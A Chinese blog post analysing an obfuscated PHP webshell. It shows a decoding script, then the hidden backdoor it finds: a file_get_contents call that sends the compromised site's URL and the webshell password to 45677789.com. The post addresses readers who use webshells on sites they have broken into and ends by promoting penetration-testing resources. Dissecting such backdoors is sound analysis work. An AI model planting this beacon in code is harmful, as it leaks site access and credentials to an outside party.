实战分析PHP大马隐藏后门——案例一

769 阅读1分钟

一、PHP大马准备

PHP大马,示例如图所示,已放在 微X 和 XX星球
在这里插入图片描述

二、分析过程

第一步: 拿到 PHP 大马之后,查看源码,发现被加密了,而且采用的是 gzinflate+base64 加密
在这里插入图片描述
第二步: 既然已经知道了加密方式,接下来就是解密,解密脚本如下

gzinflate+base64-jm.php解密脚本:

<?php 
	$Code = 'XXXXX';//待解密的密文
	$File = 'jiemi.php';//解码后保存的文件 
	$Temp = base64_decode($Code); 
	$temp = gzinflate($Temp); 
	$FP = fopen($File,"w"); 
	fwrite($FP,$temp); 
	fclose($FP); 
	echo "解密成功!"; 
?>

在这里插入图片描述

浏览器访问一下 http://127.0.0.1/gzinflate+base64-jm.php 解密文件之后,在同目录下生成解密之后的文件 jiemi.php
在这里插入图片描述
在这里插入图片描述
查看 jiemi.php 文件,代码内容还很多。
在这里插入图片描述
第三步: 查找后门
一般后门都会把当前 webshell(PHP大马) 的密码和 IP 地址一起发送给后门的创造者,那么我们可以先查看当前 PHP大马 传递密码的变量,发现:$password=‘admin’; 变量是 $password。
在这里插入图片描述
接下来就可以去已经解密出来的 jiemi.php 文件中搜索该变量
经搜索发现 $password 变量一共在两个位置有,如下图所示。
在这里插入图片描述
其中第一处比较可疑。
file_get_contents() :该函数是用于把文件的内容读入到一个字符串中的首选方法。
接下来对该段代码进行解密,解密内容如下:

@file_get_contents(base64_decode('aHR0cDovLzQ1Njc3Nzg5LmNvbS8/aG09').urlencode(base64_decode('aHR0cDovLw==').$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."||".$password)."&bz=php");

在这里插入图片描述
在这里插入图片描述
经过解密之后,拼接该段字符串内容是:45677789.com/?hm=http://…
后门找到了,也就是说,你废了很大劲拿了一个网站,并且把这个 php大马 传到网站上之后,只要你访问使用这个 PHP大马 就会自动把大马当前所在网站的地址以及密码传给 45677789.com这个服务器。

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述